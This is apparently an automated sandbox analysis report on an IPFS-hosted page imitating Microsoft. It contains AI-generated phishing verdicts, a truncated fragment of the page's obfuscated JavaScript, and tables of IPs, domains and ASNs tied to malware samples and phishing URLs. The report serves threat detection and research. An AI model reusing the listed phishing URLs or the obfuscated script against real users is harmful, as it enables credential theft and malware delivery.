(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();
URL: PDF Model: gpt-4o	```json { "riskscore": 8, "reasons": "The PDF contains a QR code which could potentially lead to a malicious website. The document mimics a legitimate service (DocuSign) which is a common tactic used in phishing attacks. The use of a generic greeting 'Dear Accountsreceivable' instead of a personalized one is another red flag. Additionally, the sender's name 'Acaglobal Via Docusign' appears suspicious and not directly associated with DocuSign." }

URL: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text does not contain any elements typically found in a login form, such as input fields for a username and password, a submit button, or labels for those elements.", "The text contains a sentence about running browser checks for security, which is not related to a login form.", "The text contains a misspelled word ('Verity' instead of 'Verify') and an unusual string ('brou-ser' instead of 'browser'), which further indicate that this is not a login form." ] }
Microsoft i Security This page IS running brou-ser checks to ensure your security. Verify you are human Verity are h'_.nan
URL: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Model: gpt-4o	```json { "riskscore": 8, "reasons": "The code is heavily obfuscated, which is a common technique used to hide malicious intent. It contains a large number of seemingly random hexadecimal strings and variables, which makes it difficult to understand its true functionality. Additionally, the presence of a 'debugger' statement and manipulation of key events (e.g., 'keydown') suggests that it might be attempting to interfere with user input or perform actions without user consent. These characteristics are often associated with malicious scripts." }
PkrLUezF='';var _0x444fd5=_0x185b,_0x21b3f7=_0x185b,_0x2425cb=_0x185b,_0x57f676=_0x185b,_0x39eac6=_0x185b,_0x542759=_0x185b,_0x4334ed=_0x185b,_0xf1a65e=_0x185b,_0x3d9391=_0x185b,_0x899fb=_0x185b,_0x19e594=_0x185b,_0x460271=_0x185b,_0x16ef94=_0x185b,_0x4f026c=_0x185b,_0xbcccd=_0x185b,_0x404f0f=_0x185b,_0x266913=_0x185b,_0x491d8d=_0x185b,_0x2e0ea3=_0x185b,_0x2f4544=_0x185b,_0x3492d8=_0x185b,_0x5ac090=_0x185b,_0xe655ac=_0x185b,_0x37d4d8=_0x185b,_0x3e7dd6=_0x185b,_0x1012b1=_0x185b,_0x3f28b2=_0x185b,_0xefa86c=_0x185b,_0x47f775=_0x185b,_0xea722a=_0x185b,_0x1be426=_0x185b,_0x3e7c03=_0x185b,_0x422ad1=_0x185b;(function(_0x342e9b,_0x5ef34a){var _0x3262c7=_0x185b,_0x254093=_0x185b,_0x35d568=_0x185b,_0x5c7504=_0x185b,_0x1f4e79=_0x185b,_0x3ec091=_0x185b,_0xa3e13e=_0x185b,_0x589aeb=_0x185b,_0x285129=_0x185b,_0x279e89=_0x185b,_0x10d80b=_0x185b,_0x3b9f07=_0x342e9b();while(!![]){try{var _0x2e778c=-parseInt(_0x3262c7(0x8f))/0x1+parseInt(_0x3262c7(0x74))/0x2(parseInt(_0x35d568(0x8c))/0x3)+parseInt(_0x3262c7(0xcc))/0x4+-parseInt(_0x1f4e79(0x9e))/0x5(parseInt(_0x5c7504(0xcd))/0x6)+parseInt(_0x5c7504(0xa7))/0x7+-parseInt(_0x3262c7(0xd3))/0x8(parseInt(_0x589aeb(0xba))/0x9)+parseInt(_0x35d568(0xe3))/0xa(-parseInt(_0x5c7504(0xea))/0xb);if(_0x2e778c===_0x5ef34a)break;else _0x3b9f07['push'](_0x3b9f07['shift']());}catch(_0x4e8a5b){_0x3b9f07['push'](_0x3b9f07['shift']());}}}(_0x4ff6,0x5fef3),(()=>{debugger;},0x1),((shortcut={'all_shortcuts':{},'add':function(_0x15eafe,_0xa07b98,_0x3eb38c){var _0x20c3da=_0x185b,_0x45be1a=_0x185b,_0x1cfcbf=_0x185b,_0x54f8f2=_0x185b,_0x431eab=_0x185b,_0x1a3150=_0x185b,_0x37814f=_0x185b,_0xca7f53=_0x185b,_0x3e9d3e=_0x185b,_0x5a44fe=_0x185b,_0x4915cb=_0x185b,_0x39b975={'type':'keydown','propagate':!0x1,'disable_in_input':!0x1,'target':document,'keycode':!0x1};if(_0x3eb38c){for(var _0x5d7bc8 in _0x39b975)void 0x0===_0x3eb38c[_0x5d7bc8]&&(_0x3eb38c[_0x5d7bc8]=_0x39b975[_0x5d7bc8]);}else _0x3eb38c=_0x39b975;_0x39b975=_0x3eb38c[_0x20c3da(0xa3)],_0x20c3da(0xc6)==typeof _0x3eb38c[_0x45be1a(0xa3)]&&(_0x39b975=document[_0x54f8f2(0xc7)](_0x3eb38c[_0x1cfcbf(0xa3)])),_0x15eafe=_0x15eafe['toLowerCase'](),_0x5d7bc8=function(_0x22c27e){var _0x58267f=_0x1cfcbf,_0x488d7c=_0x1cfcbf,_0x89f3e4=_0x45be1a,_0x19b66e=_0x20c3da,_0x40dc2d=_0x431eab,_0x40bb28=_0x54f8f2,_0x54811d=_0x431eab,_0x1ad4cd=_0x45be1a,_0x97c7f8=_0x20c3da,_0x526483=_0x54f8f2,_0x5b925c=_0x45be1a,_0x3b9921=_0x20c3da,_0x2aa230=_0x1cfcbf,_0x294e94=_0x1cfcbf,_0x15d462=_0x20c3da,_0x15692c=_0x20c3da,_0x5126eb=_0x20c3da,_0x2ee1f9=_0x431eab,_0x1bbbe5=_0x54f8f2,_0x477d18=_0x54f8f2,_0x494f3a=_0x431eab,_0x19cf39=_0x45be1a,_0x20ee72=_0x1cfcbf,_0x2679b2=_0x1cfcbf,_0x21b745=_0x1cfcbf,_0x324878=_0x45be1a,_0x30a7c3=_0x1cfcbf,_0x331a8e=_0x431eab,_0x4b7a14=_0x1cfcbf,_0x1746c3=_0x1cfcbf,_0x36c94d=_0x20c3da,_0x2052c0=_0x54f8f2,_0x41936d=_0x54f8f2;if(_0x22c27e=_0x22c27e\|\|window['event'],_0x3eb38c['disable_in_input']){var _0x212854;if(_0x22c27e[_0x58267f(0xa3)]?_0x212854=_0x22c27e[_0x58267f(0xa3)]:_0x22c27e[_0x58267f(
URL: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL 'https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y' does not match the legitimate domain name associated with Microsoft, which is typically 'microsoft.com' or 'live.com'. The use of 'cloudflare-ipfs.com' is suspicious as it is not a known Microsoft domain. The page contains a login form, which is a common element in phishing sites. The use of social engineering techniques is evident from the attempt to mimic a legitimate Microsoft login page." }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.96.13	Ziraat Bankas#U0131 Swift Mesaj#U0131.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	bafybeihztxwimpjrjtlr3djk5sxcxnyiubceso2zkoijuplsccegiceqya.ipfs.cf-ipfs.com/ngown.exe
	http://cf-ipfs.com/ipfs/QmPkxJED3Fb2sHpjZ1QyjFuAuuktBdWCsvty9NVB5gE4bD/mail_delivery_pil1904.html	Get hash	malicious	Unknown	Browse	cf-ipfs.com/ipfs/QmPkxJED3Fb2sHpjZ1QyjFuAuuktBdWCsvty9NVB5gE4bD/mail_delivery_pil1904.html
	http://cloudflare-ipfs.com/ipfs/bafybeiax2ruknatvfmwne467bwtdm76yq33oczfhuaqkiq5cs4yc2lb7ti/kellermadisongr_office9o0.html/	Get hash	malicious	HTMLPhisher	Browse	cloudflare-ipfs.com/ipfs/bafybeiax2ruknatvfmwne467bwtdm76yq33oczfhuaqkiq5cs4yc2lb7ti/kellermadisongr_office9o0.html/
51.77.64.70	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse
	https://ipfs.chainsafe.io/ipfs/QmYbgiYHMPGkARhXKZcLM2kUkVztAbHXaFtDKG8bnHwJsq	Get hash	malicious	Unknown	Browse
	https://login-uk.mimecast.com/auth/api/tracking/get-file/eNpNkF9P2zAUxb-LX9cM_4sdV-JhKpTQCW1dGTCEFDnOdTGNky5xisjEd8dZQeLh3oero3N-9_xDPZihA1ehORrNfdg_nCz0Rrm7juXfX35cnY3bplusn_Jf5v5557uVO78R3l08ZzeEgeBXt6He4C9Nczbm8udfky7tn9_nqzxf7ut1GJVZjwvewpMfIFtmjbk2q312O1yeohnyLZpbXfcwQ501GaV9GMoSzZuhrmdIh6DNo4cm6M48ugOEdgdNxCyLYYdJQeIcqrgTQgqKKcfpdLWMG80UY6KUqZRgmJCaEMKklswqS7ARKS0pLrUpK6VB6FRxrCzOiFJpxLKNjynO6y1gTL5unZ1Yoe_jYRN0GPrrlz1EyTtXhT7DWlcf2yQTEcVEUM5lyhiJMjP0ofXQmbaaDBZSfKNETpk-fGQ-nBwTD9D1ro0Pk9lH0n_fbWESOFZAuYgVxJ0QXrybfapCRVWAzqcJxjJRPOM4o0JI9PoGTRWatw?sid=oDVlmGFRdYozp2YRFqq9uAeyJlbmMiOiJBMTI4R0NNIiwiYWxnIjoiUEJFUzItSFMyNTYrQTEyOEtXIiwia2lkIjoiNlpkOWFpaVNSd1U4STJxcXZUNVBmQk1tSFRSMnRsT0F5bEZMQzBTLVhDbyIsInAycyI6IjBrOExGTTQyMkpEVkRBU040MXp4elEiLCJwMmMiOjgxOTJ9.DvJx2zvE9_r_gEBZZ0uWO7PXLM5P9pj-.HMqeXDK0_pGZOpot.CXM0gfgeOINSapE4bCF23eX_jhk4OUqnjTH2W8dL3Ip8vSX_ERlPbrdekOYHUT5BBWBopljU3_RDZx5lf4qZFns9s7hDRoPV64_7Yu_B3mtIoXfDciArRqKptL1MdfCHoyIElLtNoM-GfCLAmjq_1wftV_M1qXVB1ov7ZBmrPvS3EdNAHfcGAsDJsdYV7Sl6FipWkCkBzvf2qOTL7SVauDCwX2uZrXGINaU7t8wcWdDZRKNn-j_RVYfmVNHgnUxhRG6UaFVw3JVBnGc.qdUbRLN8OdgSmaB0KBaY_w&x-context-route=administration&fdl=1	Get hash	malicious	HTMLPhisher	Browse
	0x000800000001a3f8-731.html	Get hash	malicious	HTMLPhisher	Browse
	444555777.html	Get hash	malicious	HTMLPhisher	Browse
	viha.ca New Voice Fax.htm	Get hash	malicious	HTMLPhisher	Browse
	Copy Check2741_07027_pdf.htm	Get hash	malicious	HTMLPhisher	Browse
	microsoft_phish.html	Get hash	malicious	HTMLPhisher	Browse
151.101.194.137	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
104.21.96.107	Attachment-8888.xls	Get hash	malicious	Hidden Macro 4.0	Browse	balletmagazine.ro/wp-content/9VrMPV/
104.21.96.107	Attachment-8888.xls	Get hash	malicious	Hidden Macro 4.0	Browse	balletmagazine.ro/wp-content/9VrMPV/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	#U0426#U0438#U0442#U0430#U0442#U0430.exe	Get hash	malicious	FormBook	Browse	151.101.130.137
	https://verify-signinoutlexchangeadmin.com/MBill@microsoft.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.2.137
	https://brownpluss.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.66.137
	Remittance#26856.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://y6ss1.shop/	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://pub-dde186d3ef204edd89e847d256cdf5bd.r2.dev/ghupl.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://topicbiker.yachts/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://etsxt.shop/	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://biogenicalatam.com/	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://uch.mrn.mybluehost.me/MS/DHLM/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
cdnjs.cloudflare.com	https://docsend.com/view/qqrrvyqndwsixgqg	Get hash	malicious	Phisher	Browse	104.17.24.14
	Remittance#26856.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://y6ss1.shop/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://origines-decoration.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://sandnidenokvxzijas.theone-4.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-dde186d3ef204edd89e847d256cdf5bd.r2.dev/ghupl.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://layer-2-upgrade.pages.dev/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://litnet.com/out?signature=2c1f4fb3a510da55&verify=f0d85a74515d878f9714518b56f64f83c3d478981c8004fd8a36ff05f77ed04b&litnet=domain&url=https://cloudflare-ipfs.com/ipfs/QmbbUyKXzZMtLWL65JBbfeA8HRigpuDZ9sk5XT4xvfvyVx?filename=reqistrer-serversNonniiii.html#YXN0cmlkLnd1cnN0ZXJAaWxlZGVmcmFuY2UuZnI=	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://lobster-app-xvyb9.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://profilebookdatacheck400021.com/64st47rj	Get hash	malicious	Unknown	Browse	104.17.24.14
pro.ip-api.com	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	51.77.64.70
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse	51.77.64.70
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse	51.77.64.70
	https://ipfs.chainsafe.io/ipfs/QmYbgiYHMPGkARhXKZcLM2kUkVztAbHXaFtDKG8bnHwJsq	Get hash	malicious	Unknown	Browse	51.77.64.70
	https://login-uk.mimecast.com/auth/api/tracking/get-file/eNpNkF9P2zAUxb-LX9cM_4sdV-JhKpTQCW1dGTCEFDnOdTGNky5xisjEd8dZQeLh3oero3N-9_xDPZihA1ehORrNfdg_nCz0Rrm7juXfX35cnY3bplusn_Jf5v5557uVO78R3l08ZzeEgeBXt6He4C9Nczbm8udfky7tn9_nqzxf7ut1GJVZjwvewpMfIFtmjbk2q312O1yeohnyLZpbXfcwQ501GaV9GMoSzZuhrmdIh6DNo4cm6M48ugOEdgdNxCyLYYdJQeIcqrgTQgqKKcfpdLWMG80UY6KUqZRgmJCaEMKklswqS7ARKS0pLrUpK6VB6FRxrCzOiFJpxLKNjynO6y1gTL5unZ1Yoe_jYRN0GPrrlz1EyTtXhT7DWlcf2yQTEcVEUM5lyhiJMjP0ofXQmbaaDBZSfKNETpk-fGQ-nBwTD9D1ro0Pk9lH0n_fbWESOFZAuYgVxJ0QXrybfapCRVWAzqcJxjJRPOM4o0JI9PoGTRWatw?sid=oDVlmGFRdYozp2YRFqq9uAeyJlbmMiOiJBMTI4R0NNIiwiYWxnIjoiUEJFUzItSFMyNTYrQTEyOEtXIiwia2lkIjoiNlpkOWFpaVNSd1U4STJxcXZUNVBmQk1tSFRSMnRsT0F5bEZMQzBTLVhDbyIsInAycyI6IjBrOExGTTQyMkpEVkRBU040MXp4elEiLCJwMmMiOjgxOTJ9.DvJx2zvE9_r_gEBZZ0uWO7PXLM5P9pj-.HMqeXDK0_pGZOpot.CXM0gfgeOINSapE4bCF23eX_jhk4OUqnjTH2W8dL3Ip8vSX_ERlPbrdekOYHUT5BBWBopljU3_RDZx5lf4qZFns9s7hDRoPV64_7Yu_B3mtIoXfDciArRqKptL1MdfCHoyIElLtNoM-GfCLAmjq_1wftV_M1qXVB1ov7ZBmrPvS3EdNAHfcGAsDJsdYV7Sl6FipWkCkBzvf2qOTL7SVauDCwX2uZrXGINaU7t8wcWdDZRKNn-j_RVYfmVNHgnUxhRG6UaFVw3JVBnGc.qdUbRLN8OdgSmaB0KBaY_w&x-context-route=administration&fdl=1	Get hash	malicious	HTMLPhisher	Browse	51.77.64.70
	https://dlr.xng.mybluehost.me/Tsho/net/login.php	Get hash	malicious	Unknown	Browse	208.95.112.2
	http://www.multipli.com.au	Get hash	malicious	Unknown	Browse	38.91.101.241
	http://flow.page/pscu.com	Get hash	malicious	HTMLPhisher	Browse	38.128.66.209
	https://lxw.uxb.mybluehost.me/Tashy/net/login.php	Get hash	malicious	Unknown	Browse	208.95.112.2
	https://yxv.ens.mybluehost.me/Ca/net/login.php	Get hash	malicious	Unknown	Browse	38.91.107.240
cs1100.wpc.omegacdn.net	https://attachments.office.net/owa/cmangava%40tharisa.com/service.svc/s/GetAttachmentThumbnail?id=AAMkAGE2N2U5NmFkLWIzMjEtNGMwNS1iOWVlLWExNTBkNDk2NTZjMABGAAAAAAAsNFCwuPDISrln6MRbSR5lBwBC4JDOFd8jTJozG%2BNc7YRrAAAAmcUBAABu3YNoqzF8SLI68HoWeAXzAAFRD3sAAAABEgAQAOXLRvcdfU5Kkg7Zx598XsI%3D&thumbnailType=2&token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkU1RDJGMEY4REE5M0I2NzA5QzQzQTlFOEE2MTQzQzAzRDYyRjlBODAiLCJ0eXAiOiJKV1QiLCJ4NXQiOiI1ZEx3LU5xVHRuQ2NRNm5vcGhROEE5WXZtb0EifQ.eyJvcmlnaW4iOiJodHRwczovL291dGxvb2sub2ZmaWNlLmNvbSIsInVjIjoiNTIyZjRhMmM0ZWRmNDA4NjkxMWIwMGFjYzE2ZjgzNzEiLCJzaWduaW5fc3RhdGUiOlsiZHZjX21uZ2QiLCJkdmNfY21wIiwiZHZjX2RtamQiLCJpbmtub3dubnR3ayJdLCJ2ZXIiOiJFeGNoYW5nZS5DYWxsYmFjay5WMSIsImFwcGN0eHNlbmRlciI6Ik93YURvd25sb2FkQDliMDgyOWI5LWJlMzktNDMzNi1hNzY2LWY4YzlkYzJjNzFhNCIsImlzc3JpbmciOiJXVyIsImFwcGN0eCI6IntcIm1zZXhjaHByb3RcIjpcIm93YVwiLFwicHVpZFwiOlwiMTE1MzkwNjY2MTMxNDQwNDI4NFwiLFwic2NvcGVcIjpcIk93YURvd25sb2FkXCIsXCJvaWRcIjpcIjUyMjAyODA5LWJkODUtNGZmOC04NTUwLTRjNzUwZjNhODNlZFwiLFwicHJpbWFyeXNpZFwiOlwiUy0xLTUtMjEtMTAxMjEyODM0Ni0xNjc3NDQzNDQtMTE3Njg1Mjg2MS0xMzc4MTQ4OVwifSIsIm5iZiI6MTcxNjc5NjM3MCwiZXhwIjoxNzE2Nzk2NjcwLCJpc3MiOiIwMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiYXVkIjoiMDAwMDAwMDItMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL2F0dGFjaG1lbnRzLm9mZmljZS5uZXRAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiaGFwcCI6Im93YSJ9.QgmzIBWvZG6gLwDV2SGPl9TdStXctQrpU_xiIGcL5I4eoVDkUPzqcKcrSAnwOD_E73nNMbCTWC-kgcJIIFGhLmh8iFWITRD5MwmaJN23JV7c8rlmzHlxnoqm8tPo98Soui3XZZYSaJZVTruXDBhUCiweHA69qYSoZDJxVUYZDvl5KvXMWJkA_ui0Vq1Sw7pPL5h9t4_QlGAarVBz6O9q21EGSBoX_hWPpcaEGJwoBDVeI-G6VvbkXzy9bJEMEZ6N-WzLyQtuKS9HVJBafIkUxsf0pIhhnJUluyukhnQ1dZohnpQr8e5v0Xoa3SObMFt_C5SeZHG2hFyxqFdeBhKQ_w&X-OWA-CANARY=X-OWA-CANARY_cookie_is_null_or_empty&owa=outlook.office.com&scriptVer=20240517003.15&clientId=1A63CAED249649AEBB5264A13128C2B5&animation=true&persistenceId=80cb7b14-7011-42b1-acde-250d928510f9	Get hash	malicious	HTMLPhisher	Browse	152.199.23.37
	https://sandnidenokvxzijas.theone-4.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	152.199.23.37
	http://live-support-apple.info/cbyov	Get hash	malicious	Unknown	Browse	152.199.23.37
	http://azuremail.ca/passerelle.php?id_envoi_courriel=5806909&lien=//xenbel.net/checker2	Get hash	malicious	HTMLPhisher	Browse	152.199.23.37
	https://link.elliottscotthr.com/api/redirect.me?track=000000&url=https%3A%2F%2Fwww.atjehupdate.com/3tvdgh	Get hash	malicious	HTMLPhisher	Browse	152.199.23.37
	https://cvg.soundestlink.com/ce/c/664ca6751ccee38188772900/664ca68b4377806862523922/664ca6a4ff5940ee5651226c?signature=792c75b9eb10e4c670e5817e159b98793c0887d427c5dd08ed514bd14c9193e4	Get hash	malicious	HTMLPhisher	Browse	152.199.23.37
	undelivered messages.htm	Get hash	malicious	HTMLPhisher	Browse	152.199.23.37
	Overview 2023.html	Get hash	malicious	Unknown	Browse	152.199.23.37
	https://ms-1drive.com/v/794850bf-f104-442e-acb0-475634834dda	Get hash	malicious	Unknown	Browse	152.199.23.37
	http://sbw.updatehub.net/	Get hash	malicious	Unknown	Browse	152.199.23.37
google.com	http://apieventemitter.com	Get hash	malicious	Unknown	Browse	142.250.185.164
	https://sign.clickandsign.eu/h/KkObbSMhni	Get hash	malicious	Unknown	Browse	142.250.185.196
	https://wwwyoutube.com/channel/UCFwzdEhmqFuZFpx2Su-taGw	Get hash	malicious	Unknown	Browse	142.250.185.100
	https://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	142.250.184.196
	hXXps://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	172.217.18.4
	http://see-track.com/	Get hash	malicious	Unknown	Browse	142.250.74.196
	https://psowapt.weebly.com	Get hash	malicious	HTMLPhisher	Browse	142.250.184.196
	https://shorter.gg/dUUJUv	Get hash	malicious	Phisher	Browse	216.58.206.68
	https://stikeman-vpn.azureedge.net/?value=odWPPcO	Get hash	malicious	Unknown	Browse	142.250.184.228

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INFOSPHERENTTPCCommunicationsIncJP	8PRlezZSuB.elf	Get hash	malicious	Unknown	Browse	210.48.235.34
	V4zFzdCyty.elf	Get hash	malicious	Mirai, Moobot	Browse	157.121.153.120
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	23.232.250.249
	http://testing-1g0.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	124.146.153.167
	yzKJORP7Q4.elf	Get hash	malicious	Mirai, Moobot	Browse	157.121.90.64
	4rg5Y5MHO8.elf	Get hash	malicious	Mirai, Moobot	Browse	157.121.90.64
	j55aXfhPv3.elf	Get hash	malicious	Mirai, Moobot	Browse	157.121.53.77
	n8RoxsQ4om.elf	Get hash	malicious	Mirai	Browse	202.212.69.144
	dn7MMSZM9O.elf	Get hash	malicious	Unknown	Browse	128.28.157.41
	http://jaz.wxk.mybluehost.me/ch/104c5	Get hash	malicious	Unknown	Browse	124.146.153.162
CLOUDFLARENETUS	#20240627_Edlen_A.xls	Get hash	malicious	SmokeLoader	Browse	188.114.96.3
	https://sign.clickandsign.eu/h/KkObbSMhni	Get hash	malicious	Unknown	Browse	104.16.79.73
	Shipping Documents inv. 523435300XX.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	172.67.184.156
	hXXps://www.acm.gov.pt/html/js/editor/ckeditor/editor/filemanager/browser/liferay/browser.html?p=insta&Connector=https://a.top1cheat.com/kJIVLY5E	Get hash	malicious	Unknown	Browse	172.67.184.156
	https://shorter.gg/dUUJUv	Get hash	malicious	Phisher	Browse	104.21.74.233
	Doc_10577030xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://stikeman-vpn.azureedge.net/?value=odWPPcO	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://link.elliottscotthr.com/api/redirect.me?track=000000&url=https%3A%2F%2Fwww.atjehupdate.com/3tvdgh	Get hash	malicious	Unknown	Browse	104.17.2.184
	xvJv1BpknZ.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	188.114.96.3
FASTLYUS	https://psowapt.weebly.com	Get hash	malicious	HTMLPhisher	Browse	151.101.1.46
	https://github.com/electerm/electerm/releases/download/v1.39.18/electerm-1.39.18-win-x64-installer.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://drive.google.com/uc?export=download&id=12v1VZUwGaH9dJNC24k24Rn9zAkDKRnBD	Get hash	malicious	Unknown	Browse	151.101.129.140
	#U0426#U0438#U0442#U0430#U0442#U0430.exe	Get hash	malicious	FormBook	Browse	151.101.1.108
	https://verify-signinoutlexchangeadmin.com/MBill@microsoft.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.2.137
	https://paypalgiftcardgenerator.pages.dev/	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://brownpluss.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.66.137
	Remittance#26856.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://help-fb-recovery-center.github.io/notification/index.html	Get hash	malicious	Unknown	Browse	185.199.111.153
	http://y6ss1.shop/	Get hash	malicious	Unknown	Browse	151.101.130.137
OVHFR	C4zDQjrSzj.elf	Get hash	malicious	Unknown	Browse	188.165.6.122
	rzfcEvDxkx.elf	Get hash	malicious	Unknown	Browse	198.50.178.244
	4TH HIRE SOA REMITTANCE_USD280,000.exe	Get hash	malicious	FormBook	Browse	51.195.44.77
	Reiven RFQ-27-05-2024.exe	Get hash	malicious	AgentTesla	Browse	144.217.159.195
	https://uncovered-fragrant-climb.glitch.me/public/eleventy.js.html	Get hash	malicious	HTMLPhisher	Browse	54.36.150.183
	cVxP229sNF.elf	Get hash	malicious	Unknown	Browse	54.38.100.56
	ZVQBodhgp1.elf	Get hash	malicious	Mirai, Moobot	Browse	178.32.95.200
	boost.exe	Get hash	malicious	NovaSentinel	Browse	151.80.29.83
	SecuriteInfo.com.Win64.Malware-gen.22846.13203.exe	Get hash	malicious	Unknown	Browse	51.79.185.26
